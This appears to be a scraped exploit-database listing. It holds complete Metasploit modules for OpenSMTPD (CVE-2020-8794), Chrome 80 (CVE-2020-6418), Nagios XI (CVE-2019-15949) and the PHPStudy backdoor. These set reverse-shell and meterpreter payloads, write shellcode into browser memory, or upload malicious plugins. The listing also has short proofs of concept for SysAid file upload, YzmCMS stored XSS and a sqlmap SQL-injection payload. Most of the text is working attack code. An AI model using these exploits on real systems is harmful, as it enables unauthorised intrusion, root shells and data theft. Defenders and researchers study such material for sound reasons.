hex(wasm_rwx_addr)); memory.write(wasm_rwx_addr, shellcode); let fake_vtab = new ArrayBuffer(0x80); let fake_vtab_u64 = new BigUint64Array(fake_vtab); let fake_vtab_addr = memory.readPtr(memory.addrof(fake_vtab) + 0x20n); let div = document.createElement('div'); let div_addr = memory.addrof(div); print('div_addr @ ' + hex(div_addr)); let el_addr = memory.readPtr(div_addr + 0x20n); print('el_addr @ ' + hex(div_addr)); fake_vtab_u64.fill(wasm_rwx_addr, 6, 10); memory.writePtr(el_addr, fake_vtab_addr); print('Triggering...'); // Trigger virtual call div.dispatchEvent(new Event('click')); // We are done here, repair the corrupted array buffers let addr = memory.addrof(driver_buf); memory.writePtr(addr + 32n, original_driver_buf_ptr); memory.writePtr(memview_buf_addr + 32n, original_memview_buf_ptr); } pwn(); ^ if datastore['DEBUG_EXPLOIT'] debugjs = %Q^ print = function(arg) { var request = new XMLHttpRequest(); request.open("POST", "/print", false); request.send("" + arg); }; ^ jscript = "#{debugjs}#{jscript}" else jscript.gsub!(/\/\/.*$/, '') # strip comments jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*); end html = %Q^ <html> <head> <script> #{jscript} </script> </head> <body> </body> </html> ^ send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'}) end end
-
OpenSMTPD - OOB Read Local Privilege Escalation (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local # smtpd(8) may crash on a malformed message Rank = AverageRanking include Msf::Exploit::Remote::TcpServer include Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Expect def initialize(info = {}) super(update_info(info, 'Name' => 'OpenSMTPD OOB Read Local Privilege Escalation', 'Description' => %q{ This module exploits an out-of-bounds read of an attacker-controlled string in OpenSMTPD's MTA implementation to execute a command as the root or nobody user, depending on the kind of grammar OpenSMTPD uses. }, 'Author' => [ 'Qualys', # Discovery and PoC 'wvu' # Module ], 'References' => [ ['CVE', '2020-8794'], ['URL', 'https://seclists.org/oss-sec/2020/q1/96'] ], 'DisclosureDate' => '2020-02-24', 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => true, # NOTE: Only when exploiting new grammar # Patched in 6.6.4: https://www.opensmtpd.org/security.html # New grammar introduced in 6.4.0: https://github.com/openbsd/src/commit/e396a728fd79383b972631720cddc8e987806546 'Targets' => [ ['OpenSMTPD < 6.6.4 (automatic grammar selection)', patched_version: Gem::Version.new('6.6.4'), new_grammar_version: Gem::Version.new('6.4.0') ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'SRVPORT' => 25, 'PAYLOAD' => 'cmd/unix/reverse_netcat', 'WfsDelay' => 60 # May take a little while for mail to process }, 'Notes' => { 'Stability' => [CRASH_SERVICE_DOWN], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } )) register_advanced_options([ OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5]) ]) # HACK: We need to run check in order to determine a grammar to use options.remove_option('AutoCheck') end def srvhost_addr Rex::Socket.source_address(session.session_host) end def rcpt_to "#{rand_text_alpha_lower(8..42)}@[#{srvhost_addr}]" end def check smtpd_help = cmd_exec('smtpd -h') if smtpd_help.empty? return CheckCode::Unknown('smtpd(8) help could not be displayed') end version = smtpd_help.scan(/^version: OpenSMTPD ([\d.p]+)$/).flatten.first unless version return CheckCode::Unknown('OpenSMTPD version could not be found') end version = Gem::Version.new(version) if version < target[:patched_version] if version >= target[:new_grammar_version] vprint_status("OpenSMTPD #{version} is using new grammar") @grammar = :new else vprint_status("OpenSMTPD #{version} is using old grammar") @grammar = :old end return CheckCode::Appears( "OpenSMTPD #{version} appears vulnerable to CVE-2020-8794" ) end CheckCode::Safe("OpenSMTPD #{version} is NOT vulnerable to CVE-2020-8794") end def exploit # NOTE: Automatic check is implemented by the AutoCheck mixin super start_service sendmail = "/usr/sbin/sendmail '#{rcpt_to}' < /dev/null && echo true" print_status("Executing local sendmail(8) command: #{sendmail}") if cmd_exec(sendmail) != 'true' fail_with(Failure::Unknown, 'Could not send mail. Is OpenSMTPD running?') end end def on_client_connect(client) print_status("Client #{client.peerhost}:#{client.peerport} connected") # Brilliant work, Qualys! case @grammar when :new print_status('Exploiting new OpenSMTPD grammar for a root shell') yeet = <<~EOF 553- 553 dispatcher: local_mail type: mda mda-user: root mda-exec: #{payload.encoded}; exit 0\x00 EOF when :old print_status('Exploiting old OpenSMTPD grammar for a nobody shell') yeet = <<~EOF 553- 553 type: mda mda-method: mda mda-usertable: <getpwnam> mda-user: nobody mda-buffer: #{payload.encoded}; exit 0\x00 EOF else fail_with(Failure::BadConfig, 'Could not determine OpenSMTPD grammar') end sploit = { '220' => /EHLO /, '250' => /MAIL FROM:<[^>]/, yeet => nil } print_status('Faking SMTP server and sending exploit') sploit.each do |line, pattern| send_expect( line, pattern, sock: client, newline: "\r\n", timeout: datastore['ExpectTimeout'] ) end rescue Timeout::Error => e fail_with(Failure::TimeoutExpired, e.message) ensure print_status("Disconnecting client #{client.peerhost}:#{client.peerport}") client.close end def on_client_close(client) print_status("Client #{client.peerhost}:#{client.peerport} disconnected") end end
-
Counter Strike: GO - '.bsp' Memory Control (PoC)
So I’ve been holding onto this neat little gem of a .bsp that has four bytes very close to the end of the file that controls the memory allocator. See above picture. Works on all supported operating systems last I checked (so Linux, Windows, and macOS), even after a few years. Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/48187.bsp
-
Google Chrome 80 - JSCreate Side-effect Type Confusion (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Post::File include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Google Chrome 80 JSCreate side-effect type confusion exploit', 'Description' => %q{ This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit corrupts the length of a float array (float_rel), which can then be used for out of bounds read and write on adjacent memory. The relative read and write is then used to modify a UInt64Array (uint64_aarw) which is used for read and writing from absolute memory. The exploit then uses WebAssembly in order to allocate a region of RWX memory, which is then replaced with the payload shellcode. The payload is executed within the sandboxed renderer process, so the browser must be run with the --no-sandbox option for the payload to work correctly. }, 'License' => MSF_LICENSE, 'Author' => [ 'Clément Lecigne', # discovery 'István Kurucsai', # exploit 'Vignesh S Rao', # exploit 'timwr', # metasploit copypasta ], 'References' => [ ['CVE', '2020-6418'], ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1053604'], ['URL', 'https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping'], ['URL', 'https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90'], ], 'Arch' => [ ARCH_X64 ], 'DefaultTarget' => 0, 'Targets' => [ ['Windows 10 - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'win'}], ['macOS - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'osx'}], ], 'DisclosureDate' => 'Feb 19 2020')) register_advanced_options([ OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]), ]) end def on_request_uri(cli, request) if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} print_status("[*] #{request.body}") send_response(cli, '') return end print_status("Sending #{request.uri} to #{request['User-Agent']}") escaped_payload = Rex::Text.to_unescape(payload.raw) jscript = %Q^ var shellcode = unescape("#{escaped_payload}"); // HELPER FUNCTIONS let conversion_buffer = new ArrayBuffer(8); let float_view = new Float64Array(conversion_buffer); let int_view = new BigUint64Array(conversion_buffer); BigInt.prototype.hex = function() { return '0x' + this.toString(16); }; BigInt.prototype.i2f = function() { int_view[0] = this; return float_view[0]; } BigInt.prototype.smi2f = function() { int_view[0] = this << 32n; return float_view[0]; } Number.prototype.f2i = function() { float_view[0] = this; return int_view[0]; } Number.prototype.f2smi = function() { float_view[0] = this; return int_view[0] >> 32n; } Number.prototype.fhw = function() { float_view[0] = this; return int_view[0] >> 32n; } Number.prototype.flw = function() { float_view[0] = this; return int_view[0] & BigInt(2**32-1); } Number.prototype.i2f = function() { return BigInt(this).i2f(); } Number.prototype.smi2f = function() { return BigInt(this).smi2f(); } function hex(a) { return a.toString(16); } // // EXPLOIT // // the number of holes here determines the OOB write offset let vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1]; var float_rel; // float array, initially corruption target var float_carw; // float array, used for reads/writes within the compressed heap var uint64_aarw; // uint64 typed array, used for absolute reads/writes in the entire address space var obj_leaker; // used to implement addrof vuln.pop(); vuln.pop(); vuln.pop(); function empty() {} function f(nt) { // The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05); for (var i = 0; i < 0x10000; ++i) {}; } let p = new Proxy(Object, { get: function() { vuln[0] = {}; float_rel = [0.2, 1.2, 2.2, 3.2, 4.3]; float_carw = [6.6]; uint64_aarw = new BigUint64Array(4); obj_leaker = { a: float_rel, b: float_rel, }; return Object.prototype; } }); function main(o) { for (var i = 0; i < 0x10000; ++i) {}; return f(o); } // reads 4 bytes from the compressed heap at the specified dword offset after float_rel function crel_read4(offset) { var qw_offset = Math.floor(offset / 2); if (offset & 1 == 1) { return float_rel[qw_offset].fhw(); } else { return float_rel[qw_offset].flw(); } } // writes the specified 4-byte BigInt value to the compressed heap at the specified offset after float_rel function crel_write4(offset, val) { var qw_offset = Math.floor(offset / 2); // we are writing an 8-byte double under the hood // read out the other half and keep its value if (offset & 1 == 1) { temp = float_rel[qw_offset].flw(); new_val = (val << 32n | temp).i2f(); float_rel[qw_offset] = new_val; } else { temp = float_rel[qw_offset].fhw(); new_val = (temp << 32n | val).i2f(); float_rel[qw_offset] = new_val; } } const float_carw_elements_offset = 0x14; function cabs_read4(caddr) { elements_addr = caddr - 8n | 1n; crel_write4(float_carw_elements_offset, elements_addr); print('cabs_read4: ' + hex(float_carw[0].f2i())); res = float_carw[0].flw(); // TODO restore elements ptr return res; } // This function provides arbitrary within read the compressed heap function cabs_read8(caddr) { elements_addr = caddr - 8n | 1n; crel_write4(float_carw_elements_offset, elements_addr); print('cabs_read8: ' + hex(float_carw[0].f2i())); res = float_carw[0].f2i(); // TODO restore elements ptr return res; } // This function provides arbitrary write within the compressed heap function cabs_write4(caddr, val) { elements_addr = caddr - 8n | 1n; temp = cabs_read4(caddr + 4n | 1n); print('cabs_write4 temp: '+ hex(temp)); new_val = (temp << 32n | val).i2f(); crel_write4(float_carw_elements_offset, elements_addr); print('cabs_write4 prev_val: '+ hex(float_carw[0].f2i())); float_carw[0] = new_val; // TODO restore elements ptr return res; } const objleaker_offset = 0x41; function addrof(o) { obj_leaker.b = o; addr = crel_read4(objleaker_offset) & BigInt(2**32-2); obj_leaker.b = {}; return addr; } const uint64_externalptr_offset = 0x1b; // in 8-bytes // Arbitrary read. We corrupt the backing store of the `uint64_aarw` array and then read from the array function read8(addr) { faddr = addr.i2f(); t1 = float_rel[uint64_externalptr_offset]; t2 = float_rel[uint64_externalptr_offset + 1]; float_rel[uint64_externalptr_offset] = faddr; float_rel[uint64_externalptr_offset + 1] = 0.0; val = uint64_aarw[0]; float_rel[uint64_externalptr_offset] = t1; float_rel[uint64_externalptr_offset + 1] = t2; return val; } // Arbitrary write. We corrupt the backing store of the `uint64_aarw` array and then write into the array function write8(addr, val) { faddr = addr.i2f(); t1 = float_rel[uint64_externalptr_offset]; t2 = float_rel[uint64_externalptr_offset + 1]; float_rel[uint64_externalptr_offset] = faddr; float_rel[uint64_externalptr_offset + 1] = 0.0; uint64_aarw[0] = val; float_rel[uint64_externalptr_offset] = t1; float_rel[uint64_externalptr_offset + 1] = t2; return val; } // Given an array of bigints, this will write all the elements to the address provided as argument function writeShellcode(addr, sc) { faddr = addr.i2f(); t1 = float_rel[uint64_externalptr_offset]; t2 = float_rel[uint64_externalptr_offset + 1]; float_rel[uint64_externalptr_offset - 1] = 10; float_rel[uint64_externalptr_offset] = faddr; float_rel[uint64_externalptr_offset + 1] = 0.0; for (var i = 0; i < sc.length; ++i) { uint64_aarw[i] = sc[i] } float_rel[uint64_externalptr_offset] = t1; float_rel[uint64_externalptr_offset + 1] = t2; } function get_compressed_rw() { for (var i = 0; i < 0x10000; ++i) {empty();} main(empty); main(empty); // Function would be jit compiled now. main(p); print(`Corrupted length of float_rel array = ${float_rel.length}`); } function get_arw() { get_compressed_rw(); print('should be 0x2: ' + hex(crel_read4(0x15))); let previous_elements = crel_read4(0x14); //print(hex(previous_elements)); //print(hex(cabs_read4(previous_elements))); //print(hex(cabs_read4(previous_elements + 4n))); cabs_write4(previous_elements, 0x66554433n); //print(hex(cabs_read4(previous_elements))); //print(hex(cabs_read4(previous_elements + 4n))); print('addrof(float_rel): ' + hex(addrof(float_rel))); uint64_aarw[0] = 0x4142434445464748n; } function rce() { function get_wasm_func() { var importObject = { imports: { imported_func: arg => print(arg) } }; bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb]; wasm_code = new Uint8Array(bc); wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject); return wasm_mod.exports.exported_func; } let wasm_func = get_wasm_func(); // traverse the JSFunction object chain to find the RWX WebAssembly code page let wasm_func_addr = addrof(wasm_func); let sfi = cabs_read4(wasm_func_addr + 12n) - 1n; print('sfi: ' + hex(sfi)); let WasmExportedFunctionData = cabs_read4(sfi + 4n) - 1n; print('WasmExportedFunctionData: ' + hex(WasmExportedFunctionData)); let instance = cabs_read4(WasmExportedFunctionData + 8n) - 1n; print('instance: ' + hex(instance)); let wasm_rwx_addr = cabs_read8(instance + 0x68n); print('wasm_rwx_addr: ' + hex(wasm_rwx_addr)); // write the shellcode to the RWX page while(shellcode.length % 4 != 0){ shellcode += "\u9090"; } let sc = []; // convert the shellcode to BigInt for (let i = 0; i < shellcode.length; i += 4) { sc.push(BigInt(shellcode.charCodeAt(i)) + BigInt(shellcode.charCodeAt(i + 1) * 0x10000) + BigInt(shellcode.charCodeAt(i + 2) * 0x100000000) + BigInt(shellcode.charCodeAt(i + 3) * 0x1000000000000)); } writeShellcode(wasm_rwx_addr,sc); print('success'); wasm_func(); } function exp() { get_arw(); rce(); } exp(); ^ if datastore['DEBUG_EXPLOIT'] debugjs = %Q^ print = function(arg) { var request = new XMLHttpRequest(); request.open("POST", "/print", false); request.send("" + arg); }; ^ jscript = "#{debugjs}#{jscript}" else jscript.gsub!(/\/\/.*$/, '') # strip comments jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*); end html = %Q^ <html> <head> <script> #{jscript} </script> </head> <body> </body> </html> ^ send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'}) end end
-
Sysaid 20.1.11 b26 - Remote Command Execution
# Exploit Title: Sysaid 20.1.11 b26 - Remote Command Execution # Google Dork: intext:"Help Desk Software by SysAid <http://www.sysaid.com/>" # Date: 2020-03-09 # Exploit Author: Ahmed Sherif # Vendor Homepage: https://www.sysaid.com/free-help-desk-software # Software Link: [https://www.sysaid.com/free-help-desk-software # Version: Sysaid v20.1.11 b26 # Tested on: Windows Server 2016 # CVE : None GhostCat Attack The default installation of Sysaid is enabling the exposure of AJP13 protocol which is used by tomcat instance, this vulnerability has been released recently on different blogposts <https://www.zdnet.com/article/ghostcat-bug-impacts-all-apache-tomcat-versions-released-in-the-last-13-years/>. *Proof-of-Concept* [image: image.png] The attacker would be able to exploit the vulnerability and read the Web.XML of Sysaid. Unauthenticated File Upload It was found on the Sysaid application that an attacker would be able to upload files without authenticated by directly access the below link: http://REDACTED:8080/UploadIcon.jsp?uploadChatFile=true&parent= In the above screenshot, it shows that an attacker can execute commands in the system without any prior authentication to the system.
-
YzmCMS 5.5 - 'url' Persistent Cross-Site Scripting
# Exploit Title: YzmCMS 5.5 - 'url' Persistent Cross-Site Scripting # Google Dork: N/A # Date: 2020-03-10 # Exploit Author: En # Vendor Homepage: https://github.com/yzmcms/yzmcms # Software Link: https://github.com/yzmcms/yzmcms # Version: V5.5 # Category: Web Application # Patched Version: unpatched # Tested on: Win10x64 # Platform: PHP # CVE : N/A #Exploit Author: En_dust #Description: #The add function defined in the Application/link/controller/link.class.php file does not filter the ‘url’ parameter, causing malicious code to be executed. #PoC: POST /yzmcms/link/link/add.html HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://127.0.0.1/yzmcms/link/link/add.html Content-Length: 130 Cookie: CNZZDATA1261218610=2106045875-1559549499-%7C1569374982; PHPSESSID=fr095t87brjfc0l7d7sgj8oml4; yzmphp_adminid=45dfDWXXjGQg2Ce7Yg7oJZbld7iy8SN43sy2SKjq; yzmphp_adminname=7e49R0HXcjLHqBu5wgd9vXbD_D-Bq3Uq8TLw5UNpi8lIAw DNT: 1 Connection: close name=evalWebsite&url=javascript%3Aalert(%2FXSS%2F)&username=&email=&linktype=0&logo=&typeid=0&msg=&listorder=1&status=1&dosubmit=1
-
Persian VIP Download Script 1.0 - 'active' SQL Injection
# Exploit Title: Persian VIP Download Script 1.0 - 'active' SQL Injection # Data: 2020-03-09 # Exploit Author: S3FFR # Vendor HomagePage: http://download.freescript.ir/scripts/Persian-VIP-Download(FreeScript.ir).zip # Version: = 1.0 [Final Version] # Tested on: Windows,Linux # Google Dork: N/A ======================= Vulnerable Page: /cart_edit.php ======================= Vulnerable Source: 89: mysql_query $user_p = mysql_fetch_array(mysql_query("SELECT * FROM `users` where id='$active'")); 71: $active = $_GET['active']; ====================== sqlmap: sqlmap -u "http://target.com/cart_edit.php?active=1" -p active --cookie=[COOKIE] --technique=T --dbs ======================= Testing Method : - time-based blind Parameter: active (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: active=1' AND (SELECT 4169 FROM (SELECT(SLEEP(5)))wAin) AND 'zpth'='zpth ========================
-
Nagios XI - Authenticated Remote Command Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Nagios XI Authenticated Remote Command Execution', 'Description' => %q{ This module exploits a vulnerability in Nagios XI before 5.6.6 in order to execute arbitrary commands as root. The module uploads a malicious plugin to the Nagios XI server and then executes this plugin by issuing an HTTP GET request to download a system profile from the server. For all supported targets except Linux (cmd), the module uses a command stager to write the exploit to the target via the malicious plugin. This may not work if Nagios XI is running in a restricted Unix environment, so in that case the target must be set to Linux (cmd). The module then writes the payload to the malicious plugin while avoiding commands that may not be supported. Valid credentials for a user with administrative privileges are required. This module was successfully tested on Nagios XI 5.6.5 running on CentOS 7. The module may behave differently against older versions of Nagios XI. See the documentation for more information. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jak Gibb', # https://github.com/jakgibb/ - Discovery and exploit 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2019-15949'], ['URL', 'https://github.com/jakgibb/nagiosxi-root-rce-exploit'] #original PHP exploit ], 'Payload' => { 'BadChars' => "\x00" }, 'Targets' => [ [ 'Linux (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } } ], [ 'Linux (x64)', { 'Arch' => ARCH_X64, 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Linux (cmd)', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }, 'Payload' => { 'Append' => ' & disown', # the payload must be disowned after execution, otherwise cleanup fails 'BadChars' => "\"" } } ] ], 'Privileged' => true, 'DisclosureDate' => 'Jul 29 2019', 'DefaultOptions' => { 'RPORT' => 80, 'HttpClientTimeout' => 2, #This is needed to close the connection to the server following the system profile download request. 'WfsDelay' => 10 }, 'DefaultTarget' => 1)) register_options [ OptString.new('TARGETURI', [true, 'Base path to NagiosXI', '/']), OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']), OptString.new('PASSWORD', [true, 'Password to authenticate with', '']) ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]) ] import_target_defaults end def check vprint_status("Running check") #visit Nagios XI login page to obtain the nsp value required for authentication res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/nagiosxi/login.php') unless res return CheckCode::Unknown('Connection failed') end unless res.code == 200 && res.body.include?('Nagios XI') return CheckCode::Safe('Target is not a Nagios XI application.') end @nsp = res.body.scan(/nsp_str = "([a-z0-9]+)/).flatten.first rescue '' if @nsp.to_s.eql? '' return CheckCode::NoAccess, 'Could not retrieve nsp value, making authentication impossible.' end #Attempt to authenticate @username = datastore['USERNAME'] password = datastore['PASSWORD'] cookie = res.get_cookies.delete_suffix(';') #remove trailing semi-colon auth_res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/nagiosxi/login.php'), 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { nsp: @nsp, page: 'auth', debug: '', pageopt: 'login', username: @username, password: password, loginButton: '' } }) unless auth_res fail_with Failure::Unreachable, 'Connection failed' end unless auth_res.code == 302 && auth_res.headers['Location'] == "index.php" fail_with Failure::NoAccess, 'Authentication failed. Please provide a valid username and password.' end #Check Nagios XI version - this requires a separate request because following the redirect doesn't work @cookie = auth_res.get_cookies.delete_suffix(';') #remove trailing semi-colon @cookie = @cookie.split().last #app returns 3 cookies, we need only the last one version_check = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/nagiosxi/index.php'), 'method' => 'GET', 'cookie' => @cookie, 'nsp' => @nsp }) unless version_check fail_with Failure::Unreachable, 'Connection failed' end unless version_check.code == 200 && version_check.body.include?('Home Dashboard') fail_with Failure::NoAccess, 'Authentication failed. Please provide a valid username and password.' end @version = version_check.body.scan(/product=nagiosxi&version=(\d+\.\d+\.\d+)/).flatten.first rescue '' if @version.to_s.eql? '' return CheckCode::Detected('Could not determine Nagios XI version.') end @version = Gem::Version.new @version unless @version <= Gem::Version.new('5.6.5') return CheckCode::Safe("Target is Nagios XI with version #{@version}.") end CheckCode::Appears("Target is Nagios XI with version #{@version}.") end def check_plugin_permissions res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/nagiosxi/admin/monitoringplugins.php'), 'method' => 'GET', 'cookie' => @cookie, 'nsp' => @nsp }) unless res fail_with Failure::Unreachable, 'Connection failed' end unless res.code == 200 && res.body.include?('Manage Plugins') fail_with(Failure::NoAccess, "The user #{@username} does not have permission to edit plugins, which is required for the exploit to work.") end @plugin_nsp = res.body.scan(/nsp_str = "([a-z0-9]+)/).flatten.first rescue '' if @plugin_nsp.to_s.eql? '' fail_with Failure::NoAccess, 'Failed to obtain the nsp value required for the exploit to work.' end @plugin_cookie = res.get_cookies.delete_suffix(';') #remove trailing semi-colon end def execute_command(cmd, opts = {}) print_status("Uploading malicious 'check_ping' plugin...") boundary = rand_text_numeric(14) post_data = "-----------------------------#{boundary}\n" post_data << "Content-Disposition: form-data; name=\"upload\"\n\n1\n" post_data << "-----------------------------#{boundary}\n" post_data << "Content-Disposition: form-data; name=\"nsp\"\n\n" post_data << "#{@plugin_nsp}\n" post_data << "-----------------------------#{boundary}\n" post_data << "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\n\n20000000\n" post_data << "-----------------------------#{boundary}\n" post_data << "Content-Disposition: form-data; name=\"uploadedfile\"; filename=\"check_ping\"\n" #the exploit doesn't work with a random filename post_data << "Content-Type: text/plain\n\n" post_data << "#{cmd}\n" post_data << "-----------------------------#{boundary}--\n" res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/nagiosxi/admin/monitoringplugins.php'), 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=---------------------------#{boundary}", #this needs to be specified here, otherwise the default value is sent in the header 'cookie' => @plugin_cookie, 'data' => post_data }) unless res fail_with Failure::Unreachable, 'Upload failed' end unless res.code == 200 && res.body.include?('New plugin was installed successfully') fail_with Failure::Unknown, 'Failed to upload plugin.' end @plugin_installed = true end def execute_payload #This request will timeout. It has to, for the exploit to work. print_status("Executing plugin...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/nagiosxi/includes/components/profile/profile.php'), 'method' => 'GET', 'cookie' => @cookie, 'vars_get' => { cmd: 'download' } }) end def cleanup() return unless @plugin_installed print_status("Deleting malicious 'check_ping' plugin...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/nagiosxi/admin/monitoringplugins.php'), 'method' => 'GET', 'cookie' => @plugin_cookie, 'vars_get' => { delete: 'check_ping', nsp: @plugin_nsp } }) unless res print_warning("Failed to delete the malicious 'check_ping' plugin: Connection failed. Manual cleanup is required.") return end unless res.code == 200 && res.body.include?('Plugin deleted') print_warning("Failed to delete the malicious 'check_ping' plugin. Manual cleanup is required.") return end print_good("Plugin deleted.") end def exploit unless [CheckCode::Detected, CheckCode::Appears].include? check unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if @version print_status("Found Nagios XI application with version #{@version}.") end check_plugin_permissions vprint_status("User #{@username} has the required permissions on the target.") if target.arch.first == ARCH_CMD execute_command(payload.encoded) message = "Waiting for the payload to connect back..." else execute_cmdstager(background: true) message = "Waiting for the plugin to request the final payload..." end print_good("Successfully uploaded plugin.") execute_payload print_status "#{message}" end end
-
PHPStudy - Backdoor Remote Code execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "PHPStudy Backdoor Remote Code execution", 'Description' => %q{ This module can detect and exploit the backdoor of PHPStudy. }, 'License' => MSF_LICENSE, 'Author' => [ 'Dimensional', #POC 'Airevan' #Metasploit Module ], 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['PHPStudy 2016-2018', {}] ], 'References' => [ ['URL', 'https://programmer.group/using-ghidra-to-analyze-the-back-door-of-phpstudy.html'] ], 'Privileged' => false, 'DisclosureDate' => "Sep 20 2019", 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [true, 'The base path', '/']) ]) end def check uri = target_uri.path fingerprint = Rex::Text.rand_text_alpha(8) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'index.php'), 'headers' => { 'Accept-Encoding' => 'gzip,deflate', 'Accept-Charset' => Rex::Text.encode_base64("echo '#{fingerprint}';") } }) if res && res.code == 200 && res.body.to_s.include?(fingerprint) return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def exploit uri = target_uri.path print_good("Sending shellcode") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'index.php'), 'headers' => { 'Accept-Encoding' => 'gzip,deflate', 'Accept-Charset' => Rex::Text.encode_base64(payload.encoded) } }) end end
-
ASUS AXSP 1.02.00 - 'asComSvc' Unquoted Service Path
